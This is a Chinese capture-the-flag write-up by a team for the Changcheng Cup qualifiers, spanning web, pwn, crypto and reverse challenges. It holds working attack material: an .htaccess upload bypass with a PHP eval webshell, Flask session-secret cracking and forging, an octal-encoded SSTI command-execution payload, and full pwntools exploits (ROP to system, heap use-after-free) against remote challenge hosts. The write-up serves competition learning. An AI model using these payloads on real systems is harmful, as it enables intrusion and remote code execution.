第四届“长城杯”网络安全大赛 暨京津冀网络安全技能竞赛(初赛) 全方向 题解WriteUp

战队名称:TeamGipsy

战队排名:18

image-20240908164104022

SQLUP

题目描述:a website developed by a novice developer.

开题,是个登录界面。

账号admin,随便什么密码都能登录

image-20240908143722298

点击头像可以进行文件上传

image-20240908152309531

image-20240908152341608

先简单上传个木马试试

image-20240908152406607

测一下,发现文件后缀不可以带p。选择用.htaccess文件进行利用

前提:Apache的httpd.conf中AllowOverride=All 
特征:如果服务器是黑名单检测的话,通常会禁用php等脚本文件,不一定会禁用.htaccess文件. 
绕过方式:先上传.htaccess文件,再上传一个文件名符合.htaccess特定代码的jpg文件,服务器会将jpg文件当做php文件来解析执行。
内容格式:
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
也可以是:
AddType application/x-httpd-php.png
还可以是:(自动base64解码后包含) //Polar  上传
AddType application/x-httpd-php .png
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.png"
如果过滤lfile,用 \空格换行 绕过 
有文件头要求的需要进行base补位  //古剑山2023-upload
AddType application/x-httpd-php .png
php_value auto_append_fi\ 
le "php://filter/convert.base64-decode/resource=shell.png"


-----------------------------------------------------------------------
原理:
.htaccess nginx.htaccess(apache和nginx的配置文件,可修改php解释器的各项功能)可覆盖php.ini里面的内容(php.ini是最大的配置文件)

虚拟主机时代     一个物理服务器,里面可能存放几十上百个网站 每个网站,一个目录 
     A 网站  需要这样的php.ini配置
     B 网站  却需要那样的php.ini配置
     C 网站  又需要另外的php.ini配置 
但是总的php.ini不动,A B C 3个网站分别在自己目录定义自己的配置,作用域也仅限于自己目录 
所以自定义配置文件   .htaccess nginx.htaccess

自动base64解码1.gif后包含

AddType application/x-httpd-php .gif
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.gif"

image-20240908152607434

1.gif内容:

PD9waHAgZWNobyAiSmF5MTciO2V2YWwoJF9QT1NUWzFdKTs/Pg==  #<?php echo "Jay17";eval($_POST[1]);?>

image-20240908152651812

再上传个shell.gif,自动包含1.gif内容

image-20240908152721357

getshell

image-20240908152735479

flag{29899671-82e8-41cf-80ee-4b27515bef95}

CandyShop

题目描述:小明成为了CandyShop的店员,老板要求他卖出500个糖果,但是每个人只能买10个,小明不知道怎么办了,你能帮帮他吗?

拿下三血~

image-20240908120250321

附件下载源码:

import datetime
from flask import Flask, render_template, render_template_string, request, redirect, url_for, session, make_response
from wtforms import StringField, PasswordField, SubmitField
from wtforms.validators import DataRequired, Length
from flask_wtf import FlaskForm
import re

app = Flask(__name__)

app.config['SECRET_KEY'] = 'xxxxxxx'


class RegistrationForm(FlaskForm):
    username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])
    password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])
    submit = SubmitField('Register')


class LoginForm(FlaskForm):
    username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])
    password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])
    submit = SubmitField('Login')


class Candy:
    def __init__(self, name, image):
        self.name = name
        self.image = image


class User:
    def __init__(self, username, password):
        self.username = username
        self.password = password

    def verify_password(self, username, password):
        return (self.username == username) & (self.password == password)


class Admin:
    def __init__(self):
        self.username = ""
        self.identity = ""


def sanitize_inventory_sold(value):
    return re.sub(r'[a-zA-Z_]', '', str(value))


def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


candies = [Candy(name="Lollipop", image="images/candy1.jpg"),
           Candy(name="Chocolate Bar", image="images/candy2.jpg"),
           Candy(name="Gummy Bears", image="images/candy3.jpg")
           ]
users = []
admin_user = []


@app.route('/register', methods=['GET', 'POST'])
def register():
    form = RegistrationForm()
    if form.validate_on_submit():
        user = User(username=form.username.data, password=form.password.data)
        users.append(user)
        return redirect(url_for('login'))

    return render_template('register.html', form=form)


@app.route('/login', methods=['GET', 'POST'])
def login():
    form = LoginForm()
    if form.validate_on_submit():
        for u in users:
            if u.verify_password(form.username.data, form.password.data):
                session['username'] = form.username.data
                session['identity'] = "guest"
                return redirect(url_for('home'))

    return render_template('login.html', form=form)


inventory = 500
sold = 0


@app.route('/home', methods=['GET', 'POST'])
def home():
    global inventory, sold
    message = None
    username = session.get('username')
    identity = session.get('identity')

    if not username:
        return redirect(url_for('register'))

    if sold >= 10 and sold < 500:
        sold = 0
        inventory = 500
        message = "But you have bought too many candies!"
        return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)

    if request.method == 'POST':
        action = request.form.get('action')
        if action == "buy_candy":
            if inventory > 0:
                inventory -= 3
                sold += 3
            if inventory == 0:
                message = "All candies are sold out!"
            if sold >= 500:
                with open('secret.txt', 'r') as file:
                    message = file.read()

    return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)


@app.route('/admin', methods=['GET', 'POST'])
def admin():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    admin = Admin()
    merge(session, admin)
    admin_user.append(admin)
    return render_template('admin.html', view='index')


@app.route('/admin/view_candies', methods=['GET', 'POST'])
def view_candies():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    return render_template('admin.html', view='candies', candies=candies)


@app.route('/admin/add_candy', methods=['GET', 'POST'])
def add_candy():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    candy_name = request.form.get('name')
    candy_image = request.form.get('image')
    if candy_name and candy_image:
        new_candy = Candy(name=candy_name, image=candy_image)
        candies.append(new_candy)
    return render_template('admin.html', view='add_candy')


@app.route('/admin/view_inventory', methods=['GET', 'POST'])
def view_inventory():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    inventory_value = sanitize_inventory_sold(inventory)
    sold_value = sanitize_inventory_sold(sold)
    return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)


@app.route('/admin/add_inventory', methods=['GET', 'POST'])
def add_inventory():
    global inventory
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    if request.form.get('add'):
        num = request.form.get('add')
        inventory += int(num)
    return render_template('admin.html', view='add_inventory')


@app.route('/')
def index():
    return render_template('index.html')


if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=1337)

首先可以看到部分路由需要admin身份访问,同时有flask session,密钥是7位。

开题,注册登陆Jay17/111111

image-20240908131957180

拿到session

eyJjc3JmX3Rva2VuIjoiZjA1YjlmY2FkMjczNzcyNDFhYjY1ZWZhZGY2YmYzOWE2NWY5YzcxNSIsImlkZW50aXR5IjoiZ3Vlc3QiLCJ1c2VybmFtZSI6IkpheTE3In0.Zt00Pw.GxBaXRtuaBeDFi8npGhKn2J1-cc

image-20240908132120117

起手session爆破密钥。密钥是a123456

import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
import requests as r
import time
import re
import sys

path = "../my_wordlist.txt"

print("Generating wordlist... ")

#如果wordlist.txt为自定义字典,注释掉下面三行
# with open(path,"w") as f:
#     #permutations with repetition
#     [f.write(''+"".join(x)+''+"\n") for x in itertools.product('0123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPLKJHGFDSAZXCVBNM', repeat=4)]   #加上前缀

#url = "http://47.115.201.35:8000/index"
#cookie_tamper = r.head(url).cookies.get_dict()['session']
cookie_tamper='eyJjc3JmX3Rva2VuIjoiZjA1YjlmY2FkMjczNzcyNDFhYjY1ZWZhZGY2YmYzOWE2NWY5YzcxNSIsImlkZW50aXR5IjoiZ3Vlc3QiLCJ1c2VybmFtZSI6IkpheTE3In0.Zt00Pw.GxBaXRtuaBeDFi8npGhKn2J1-cc'
print("Got cookie: " + cookie_tamper)

print("Cracker Started...")

obj = flask_unsign.Cracker(value=cookie_tamper)

before = time.time()

with wordlist(path, parse_lines=False) as iterator:
            obj.crack(iterator)

secret = ""
if obj.secret:
    secret =obj.secret.decode()
    print(f"Found SECRET_KET ~{secret}~ in {time.time()-before} seconds")

signer = flask_unsign.sign({"time":time.time(),"authorized":True},secret=secret)

image-20240908132150579

**解密session:**flask-unsign --decode --cookie ‘获得的session’

flask-unsign --decode --cookie 'eyJjc3JmX3Rva2VuIjoiZjA1YjlmY2FkMjczNzcyNDFhYjY1ZWZhZGY2YmYzOWE2NWY5YzcxNSIsImlkZW50aXR5IjoiZ3Vlc3QiLCJ1c2VybmFtZSI6IkpheTE3In0.Zt00Pw.GxBaXRtuaBeDFi8npGhKn2J1-cc'

image-20240908132239374

**加密session:**flask-unsign --sign --cookie “{‘logged_in’: True}” --secret ‘CHANGEME’

flask-unsign --sign --cookie "{'csrf_token': 'f05b9fcad27377241ab65efadf6bf39a65f9c715', 'identity': 'admin', 'username': 'Jay17'}" --secret 'a123456'
eyJjc3JmX3Rva2VuIjoiZjA1YjlmY2FkMjczNzcyNDFhYjY1ZWZhZGY2YmYzOWE2NWY5YzcxNSIsImlkZW50aXR5IjoiYWRtaW4iLCJ1c2VybmFtZSI6IkpheTE3In0.Zt00yA.ArWLgtc-_3I92l3qPfUvGCSaUXE

image-20240908132332661

成功获取admin权限

image-20240908132419545

解锁所有功能后,接下来就是思考如何把糖果变到500。

发现/admin路由下有原型链污染

image-20240908132842490

我们直接污染全局变量sold修改糖果数量

image-20240908132903711

{
    '__init__':{
        '__globals__':{
            'sold':501
        } 
    }
}

session加密一下

flask-unsign --sign --cookie "{'csrf_token': 'f05b9fcad27377241ab65efadf6bf39a65f9c715', 'identity': 'admin', 'username': 'Jay17','__init__':{'__globals__':{'sold':501}}}" --secret 'a123456'
.eJwly00KwyAQhuG7zLqLmFRFj9BLyPgzQWJGiHYRgnev0N33PvA9ENpFrtcjMVigRXpDAeOqN63Xt0CvZCKMpDxtBpUkE7SQ8IIcE_fc7_nCeGae9G3pYjzTpA_eQk9yLnPuzoF95t5L9VjaP1stEaxcxBjjB033KyA.Zt02hQ.JK2FDR4eKopf7rJigxJ0GD-Dd94

替换session后访问/admin路由触发原型链污染。

访问/admin/view_inventory路由发现污染成功,手上的糖果已经过500了

image-20240908133340953

回到/home路由再买一下,获得secret.txt的文件内容

image-20240908133521793

/tmp/xxxx/xxx/xxxx/flag

但是不可以直接读取,尝试过添加糖果为这个位置 或者 切换指定static静态目录到/tmp,都不行。

细细读下源码,发现一般的模板渲染都是安全的render_template(),唯有/admin/view_inventory路由下是render_template_string(),存在SSTI。

那么说我们污染inventory或者sold为SSTIpayload即可,后续发现只能污染inventorysold污染了会报错,咱为查明原因。存在限制是re.sub(r'[a-zA-Z_]', '', str(value)),用八进制绕过。

进行一下SSTI简单测试,无误:

flask-unsign --sign --cookie "{'csrf_token': 'f05b9fcad27377241ab65efadf6bf39a65f9c715', 'identity': 'admin', 'username': 'Jay17','__init__':{'__globals__':{'inventory':'{{7*7}}'}}}" --secret 'a123456'

image-20240908135011402

那么接下来就是SSTI读取文件了

原始payload:

{{''.__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

转八进制

.__class__转为['XXXXXX']
[0]不动
()不动
['eval']转为['XXXXXX']
('__import__("os").popen("【RCE】").read()')转为('XXXXXX')

payload:(单引号和斜杠转义一下)

{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\142\\141\\163\\145\\163\\137\\137\'][0][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[133][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\137\\137\\142\\165\\151\\154\\164\\151\\156\\163\\137\\137\'][\'\\145\\166\\141\\154\'](\'\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137\\050\\042\\157\\163\\042\\051\\056\\160\\157\\160\\145\\156\\050\\042

RCE的八进制

\\042\\051\\056\\162\\145\\141\\144\\050\\051\')}}

命令如下:

find /tmp -name flag

tac /tmp/c05cac2af98893714d14d6107237f915/cbd2c352aaf912c8db7eabf2a9c71aa2/47ea5fa69ceb675b7023a3ff6b110012/flag
{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\142\\141\\163\\145\\163\\137\\137\'][0][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[133][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\137\\137\\142\\165\\151\\154\\164\\151\\156\\163\\137\\137\'][\'\\145\\166\\141\\154\'](\'\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137\\050\\042\\157\\163\\042\\051\\056\\160\\157\\160\\145\\156\\050\\042

RCE的八进制

\\042\\051\\056\\162\\145\\141\\144\\050\\051\')}}

最终payload:

flask-unsign --sign --cookie "{'csrf_token': 'f05b9fcad27377241ab65efadf6bf39a65f9c715', 'identity': 'admin', 'username': 'Jay17','__init__':{'__globals__':{'inventory':'{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\142\\141\\163\\145\\163\\137\\137\'][0][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[133][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\137\\137\\142\\165\\151\\154\\164\\151\\156\\163\\137\\137\'][\'\\145\\166\\141\\154\'](\'\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137\\050\\042\\157\\163\\042\\051\\056\\160\\157\\160\\145\\156\\050\\042\\164\\141\\143\\040\\057\\164\\155\\160\\057\\143\\060\\065\\143\\141\\143\\062\\141\\146\\071\\070\\070\\071\\063\\067\\061\\064\\144\\061\\064\\144\\066\\061\\060\\067\\062\\063\\067\\146\\071\\061\\065\\057\\143\\142\\144\\062\\143\\063\\065\\062\\141\\141\\146\\071\\061\\062\\143\\070\\144\\142\\067\\145\\141\\142\\146\\062\\141\\071\\143\\067\\061\\141\\141\\062\\057\\064\\067\\145\\141\\065\\146\\141\\066\\071\\143\\145\\142\\066\\067\\065\\142\\067\\060\\062\\063\\141\\063\\146\\146\\066\\142\\061\\061\\060\\060\\061\\062\\057\\146\\154\\141\\147\\042\\051\\056\\162\\145\\141\\144\\050\\051\')}}'}}}" --secret 'a123456'

image-20240908135706799

image-20240908135546618

image-20240908135728826

BrickGame

题目描述:通关小游戏即可获得flag。

直接玩小游戏就可以了,60秒找相同的卡牌,玩了一会儿,第三关稍微要集中注意。

image-20240908153155508

漏洞探踪,流量解密

题目描述:网站遭遇异常攻击,通过日志与流量锁定攻击来源,阶段二的压缩包密码是攻击来源ip地址,比如127.0.0.1,对捕获的数据包进行解密,识别加密算法并还原flag。flag格式为flag:{xxxxx}

阶段一是流量文件和日志文件,题目提示密码是ip地址,打开看一下log文件发现地址,查找upload关键字,在192.168.30.234地址下发现成功上传了文件,根据题目提示成功解密第二阶段的压缩包,还是得到一个流量文件,打开过滤http流,追踪http一点点看发现有key文件,直接全部导出:

屏幕截图 2024-09-08 153413

屏幕截图 2024-09-08 153448

有密钥,猜测是rc4解密,把重复部分去掉,选择hex密钥格式,成功得到flag:

屏幕截图 2024-09-08 153546

最安全的加密方式

题目描述:找到了一个最安全的加密方式,然后将自己的密码用这种方式加密起来,你能破解出来吗?

打开流量过滤http流,发现后门脚本qqq.php

image

大概看一下,两个关键密钥,脚本就是对传入的paylod进行拼接加密和二次利用,再向后发现一个rar,导出后发现需要密码,使用pass就可以解密,得到一堆字符串

image

发现第一行是f字母md5后的数据,猜测就是md5用脚本碰撞,每一行代表一个字母,脚本如下

import hashlib

flag = ["8fa14cdd754f91cc6554c9e71929cce7",
    "2db95e8e1a9267b7a1188556b2013b33",
    "0cc175b9c0f1b6a831c399e269772661",
    "b2f5ff47436671b6e533d8dc3614845d",
    "f95b70fdc3088560732a5ac135644506",
    "b9ece18c950afbfa6b0fdbfa4ff731d3",
    "2510c39011c5be704182423e3a695e91",
    "e1671797c52e15f763380b45e841ec32",
    "b14a7b8059d9c055954c92674ce60032",
    "6f8f57715090da2632453988d9a1501b",
    "cfcd208495d565ef66e7dff9f98764da",
    "03c7c0ace395d80182db07ae2c30f034",
    "e358efa489f58062f10dd7316b65649e",
    "b14a7b8059d9c055954c92674ce60032",
    "c81e728d9d4c2f636f067f89cc14862c",
    "e1671797c52e15f763380b45e841ec32",
    "4a8a08f09d37b73795649038408b5f33",
    "4c614360da93c0a041b22e537de151eb",
    "4b43b0aee35624cd95b910189b3dc231",
    "e1671797c52e15f763380b45e841ec32",
    "b14a7b8059d9c055954c92674ce60032",
    "e1671797c52e15f763380b45e841ec32",
    "8d9c307cb7f3c4a32822a51922d1ceaa",
    "4a8a08f09d37b73795649038408b5f33",
    "4b43b0aee35624cd95b910189b3dc231",
    "57cec4137b614c87cb4e24a3d003a3e0",
    "83878c91171338902e0fe0fb97a8c47a",
    "e358efa489f58062f10dd7316b65649e",
    "865c0c0b4ab0e063e5caa3387c1a8741",
    "d95679752134a2d9eb61dbd7b91c4bcc",
    "7b8b965ad4bca0e41ab51de7b31363a1",
    "9033e0e305f247c0c3c80d0c7848c8b3",
    "9033e0e305f247c0c3c80d0c7848c8b3",
    "9033e0e305f247c0c3c80d0c7848c8b3",
    "cbb184dd8e05c9709e5dcaedaa0495cf"
]
dic = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_!&{}'

for f in flag:
    for a in dic:
        if hashlib.md5(a.encode('utf-8')).hexdigest() == f:
            print(a, end='')
            break

得到flag :flag{The_m0st_2ecUre_eNcrYption!!!}

image

FlowerShop

题目描述:近期社区举办一个免费赠鲜花活动,主办方给出了活动网址,可以通过网址挑选鲜花,你看看能不能在本次活动中选到自己喜欢的鲜花。

image-20240908153311741

read 有溢出 ,init中有个检测,写好pwn\x00就可以绕过,后面填金额。在shop中有check函数

image-20240908153326363

V3验证要求

#a1==2 a

#a1[1] == 1 b

image-20240908153343020

之后就是栈溢出,购买一次magic构造/bin/sh

EXP:

from pwn import *
from LibcSearcher import *
io = process('./pwn')
elf = ELF('./pwn')
context(log_level='debug',arch=elf.arch,os=elf.os)
io = remote('8.147.131.74',17858)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def debug():
	gdb.attach(io)
	pause()
def get_addr():
	return u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
def get_sys():
	return libcbase + next(libc.search(b'/bin/sh\x00')), libcbase + libc.sym['system']
r 		= lambda num			: io.recv(num)
ru		= lambda data			: io.recvuntil(data)
rl		= lambda			: io.recvline()
s 		= lambda data 			: io.send(data)
sl 		= lambda data 			: io.sendline(data)
sla		= lambda data,pay		: io.sendlineafter(data,pay)
uu64 		= lambda size			: u64(io.recv(size).ljust(8,b'\x00'))
uu32		= lambda size			: u32(io.recv(size).ljust(4,b'\x00'))
itr 		= lambda 			: io.interactive()
li		= lambda x 			: print('\x1b[01;38;5;214m' + x + '\x1b[0m')

rdi = 0x400f13
ru('姓名:\n')
s(b'\x00'*0x34+b'pwn\x00' + b'aaaa'*4)#0x38
#a1==2      a  
#a1[1] == 1 b

#debug()
ru("选项:\n")
sl(b'a')
ru('序号:\n')
sl("c")
ru(b'1/0\n')
sl(b'1')

ru('序号:\n')
sl("a")
ru(b'1/0\n')
sl(b'1')
ru('序号:\n')
sl("a")
ru(b'1/0\n')
sl(b'1')
ru('序号:\n')
#debug()
sl("b")

pay = b'a'*0x18 + p64(rdi) + p64(0x601840) + p64(rdi+1) + p64(elf.plt['system'])
s(pay)
sleep(0.1)
sl("cat /f*")
itr()

Kylin_Heap

题目描述:Exploring user mode exploitation on KylinOS is absolutely captivating!

简单uaf,libc是2.31打free_hook

EXP:

from pwn import *
from LibcSearcher import *
#io = process('./Heap')
elf = ELF('./Heap')
context(log_level='debug',arch=elf.arch,os=elf.os)
io = remote('8.147.128.54',18461)
libc = ELF('./libc-2.31-0kylin9.2k0.2.so')
def debug():
	gdb.attach(io)
	pause()
def get_addr():
	return u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
def get_sys():
	return libcbase + next(libc.search(b'/bin/sh\x00')), libcbase + libc.sym['system']
r 		= lambda num			: io.recv(num)
ru		= lambda data			: io.recvuntil(data)
rl		= lambda			: io.recvline()
s 		= lambda data 			: io.send(data)
sl 		= lambda data 			: io.sendline(data)
sla		= lambda data,pay		: io.sendlineafter(data,pay)
uu64 		= lambda size			: u64(io.recv(size).ljust(8,b'\x00'))
uu32		= lambda size			: u32(io.recv(size).ljust(4,b'\x00'))
itr 		= lambda 			: io.interactive()
li		= lambda x 			: print('\x1b[01;38;5;214m' + x + '\x1b[0m')


def add(size,content):
	ru(b'What will you do, adventurer? ')
	sl(str(1))
	ru(b'bytes): ')
	sl(str(size))
	ru(b'bytes):')
	s(content)
def free(index):
	ru(b'What will you do, adventurer? ')
	sl(str(2))
	ru(b'index (0-19): ')
	sl(str(index))
def edit(index,content):
	ru(b'What will you do, adventurer? ')
	sl(str(3))
	ru(b'index (0-19): ')
	sl(str(index))
	ru(b'bytes):')
	s(content)
def show(index):
	ru(b'What will you do, adventurer? ')
	sl(str(4))
	ru(b'index (0-19): ')
	sl(str(index))
add(0x418,b'a')
add(0x68,b'a')
add(0x68,b'a')
add(0x68,b'a')
add(0x68,b'a')
free(0)
free(1)
free(2)
show(0)
ru(b'block')
rl()
libcbase = uu64(6) - 2014176
li(hex(libcbase))
free_hook=libcbase+libc.sym['__free_hook']
bin,sys = get_sys()
edit(2,p64(free_hook))
add(0x68,b'/bin/sh\x00')
add(0x68,p64(sys))
free(5)
#debug()
sl("cat /f*")
itr()

easyre

题目描述:无

拿到附件,没壳,直接ida分析

image-20240908153943401

拿到伪代码,用了插件查看有没有什么加密算法,没有,那就只能老老实实分析异或了,仔细看看,异或的密钥就是本身,然后在继续往下分析的时候,看到一个数据,

image-20240908153952392

恰好43位,然后就写个脚本试试看,解密出来是什么东西,

#include <stdio.h>

int main() {
    unsigned char enc[] = {
        0x0A, 0x0D, 0x06, 0x1C, 0x1D, 0x05, 0x05, 0x5F, 0x0D, 0x03,
        0x04, 0x0A, 0x14, 0x49, 0x05, 0x57, 0x00, 0x1B, 0x19, 0x02,
        0x01, 0x54, 0x4E, 0x4C, 0x56, 0x00, 0x51, 0x4B, 0x4F, 0x57,
        0x05, 0x54, 0x55, 0x03, 0x53, 0x57, 0x01, 0x03, 0x07, 0x04,
        0x4A, 0x77, 0x0D
    };
    int enc_len = sizeof(enc) / sizeof(enc[0]);
    int xor_index[enc_len];

    int v4 = 1;
    for (int i = 0; i < enc_len; i++) {
        int num1 = i + 1 + -42 * (v4 / 0x2A);
        xor_index[i] = num1;
        v4 += 1;
    }

    int num = enc_len - 1;
    for (int i = enc_len - 1; i >= 0; i--) {
        enc[i] ^= enc[xor_index[num]];
        num--;
    }

    printf("Decrypted bytes: ");
    for (int i = 0; i < enc_len; i++) {
        printf("%c", enc[i]);
    }
    printf("\n");

    return 0;
}

发现居然拿到flag了

image-20240908154036719

RandomRSA

题目描述:A特工从敌方服务器获取到了一份带有hint的机密文件,请协助破解加密。

p , q p, q p,q由LCG生成,给定LCG的 p , a , b p,a,b p,a,b
p p = x + c 1 q q = a ∗ x + b + c 2   m o d   p n = p p ∗ q q = ( x + c 1 ) ∗ ( a ∗ x + b + c 2 )   m o d   p pp = x+c1\\qq=a*x+b+c2 \bmod p\\ n = pp*qq =(x+c1)*(a*x+b+c2)\bmod p pp=x+c1qq=ax+b+c2modpn=ppqq=(x+c1)(ax+b+c2)modp
c 1 , c 2 c1,c2 c1,c2是LCG生成数与其下一个素数的差值,爆破 c 1 , c 2 c1,c2 c1,c2,求解上述方程可以求出 p p , q q pp,qq pp,qq

p, a, b = 170302223332374952785269454020752010235000449292324018706323228421794605831609342383813680059406887437726391567716617403068082252456126724116360291722050578106527815908837796377811535800753042840119867579793401648981916062128752925574017615120362457848369672169913701701169754804744410516724429370808383640129, 95647398016998994323232737206171888899957187357027939982909965407086383339418183844601496450055752805846840966207033179756334909869395071918100649183599056695688702272113280126999439574017728476367307673524762493771576155949866442317616306832252931038932232342396406623324967479959770751756551238647385191314, 122891504335833588148026640678812283515533067572514249355105863367413556242876686249628488512479399795117688641973272470884323873621143234628351006002398994272892177228185516130875243250912554684234982558913267007466946601210297176541861279902930860851219732696973412096603548467720104727887907369470758901838
n, c = 5593134172275186875590245131682192688778392004699750710462210806902340747682378400226605648011816039948262008066066650657006955703136928662067931212033472838067050429624395919771757949640517085036958623280188133965150285410609475158882527926240531113060812228408346482328419754802280082212250908375099979058307437751229421708615341486221424596128137575042934928922615832987202762651904056934292682021963290271144473446994958975487980146329697970484311863524622696562094720833240915154181032649358743041246023013296745195478603299127094103448698060367648192905729866897074234681844252549934531893172709301411995941527, 2185680728108057860427602387168654320024588536620246138642042133525937248576850574716324994222027251548743663286125769988360677327713281974075574656905916643746842819251899233266706138267250441832133068661277187507427787343897863339824140927640373352305007520681800240743854093190786046280731148485148774188448658663250731076739737801267702682463265663725900621375689684459894544169879873344003810307496162858318574830487480360419897453892053456993436452783099460908947258094434884954726862549670168954554640433833484822078996925040310316609425805351183165668893199137911145057639657709936762866208635582348932189646
from gmpy2 import mpz, isqrt, powmod, invert, is_prime
import concurrent.futures
import tqdm
import os
from Crypto.Util.number import *

# 模数 p 和多项式的系数 a, b, 以及 n
p = mpz(p)  # LCG 中的模数
a = mpz(a)  # LCG 的乘数
b = mpz(b)  # LCG 的增量
n = mpz(n)  # RSA 模数


# 求解方程中的 x
def solve_quadratic_mod(a, b, c, p):
    """求解模数 p 下的二次方程 a*x^2 + b*x + c ≡ 0 (mod p)"""
    # 计算判别式 Δ = b^2 - 4ac (mod p)
    discriminant = (b * b - 4 * a * c) % p

    # 判断判别式是否有解
    if gmpy2.jacobi(discriminant, p) != 1:
        return None  # 没有平方根,二次方程无解

    sqrt_discriminant = sympy.nthroot_mod(discriminant, 2, p)

    # 计算 2a 的逆元
    inv_2a = gmpy2.invert(2 * a, p)

    # 求解方程 x = (-b ± sqrt(Δ)) / 2a (mod p)
    x1 = ((-b + sqrt_discriminant) * inv_2a) % p
    x2 = ((-b - sqrt_discriminant) * inv_2a) % p
    return x1, x2


# 并行处理多个 c1 值
def process_c1_range(c1_start, c1_end):
    results = []
    for c1 in range(c1_start, c1_end):
        for c2 in range(1000):
            # 构建模数下的二次方程
            b_prime = (b + c2 + a * c1) % p
            c_prime = (c1 * (b + c2) - n) % p

            # 求解二次方程
            res = solve_quadratic_mod(a, b_prime, c_prime, p)

            # 检查解是否存在
            if res:
                x1, x2 = res
                p1_x1 = (x1 + c1) % p
                p2_x1 = (a * x1 + b + c2) % p
                p1_x2 = (x2 + c1) % p
                p2_x2 = (a * x2 + b + c2) % p

                # 检查是否为素数并且满足 p1_x1 * p2_x1 == n
                if is_prime(p1_x1) and is_prime(p2_x1) and p1_x1 * p2_x1 == n:
                    results.append((c1, c2, x1))
                if is_prime(p1_x2) and is_prime(p2_x2) and p1_x2 * p2_x2 == n:
                    results.append((c1, c2, x2))
    return results


# 多进程执行主函数
def main():
    results = []

    num_cpus = os.cpu_count()  # 获取可用CPU核数
    chunk_size = 10  # 每个任务处理10个c1
    total_c1 = 1000  # c1的总范围

    with concurrent.futures.ProcessPoolExecutor(max_workers=num_cpus) as executor:
        futures = []

        # 将c1范围分块提交给进程池
        for c1_start in range(0, total_c1, chunk_size):
            c1_end = min(c1_start + chunk_size, total_c1)
            futures.append(executor.submit(process_c1_range, c1_start, c1_end))

        # 收集结果
        for future in tqdm.tqdm(concurrent.futures.as_completed(futures)):
            result = future.result()
            if result:
                results.extend(result)
                break  # 找到结果后提前退出

    # 输出找到的结果
    if results:
        print("找到的结果: ", results)
        c1, c2, x = results[0]
        pp = x + c1
        qq = (a * x + b + c2) % p
        print((x + c1) * (a * x + b + c2) % p == n % p)
        print(is_prime(pp), is_prime(qq), pp * qq == n)
        d = invert(65537, (pp - 1) * (qq - 1))
        print(long_to_bytes(pow(c, d, pp * qq)))
    else:
        print("没有找到符合条件的 c1 和 c2")


# 运行主函数
if __name__ == '__main__':
    main()
    
找到的结果:  [(400, 777, mpz(38534082358492594770386164237787365358541687418861187872713633582773421830071965767156849758539753005265646728268013378441910869242213934859104106129143840904759207713228020635783396836155221721670963919289892982570525749738495868163606321994100244126498346427863605167635338350807757317686146416624471446841))]
# True
# True True True
# b'flag{j1st_e_s1mp1e_b3ute}'

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/874041.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

ComfyUI-图片表情控制工作流整合包,相关软件包及工作流均已打包好,一键启动即可

前言 本期给大家带来基于LivePortrait的ComfyUI图片表情控制工作流&#xff0c;还可以通过控制表情变化及参考视频生成动态肖像。 此工作流操作简单&#xff0c;相关ComfyUI软件包、模型、节点、工作流均已打包在内&#xff0c;一键启动即可。 # 配置要求&#xff1a; 建议电…

基于 TiDB 资源管控 + TiCDC 实现多业务融合容灾测试

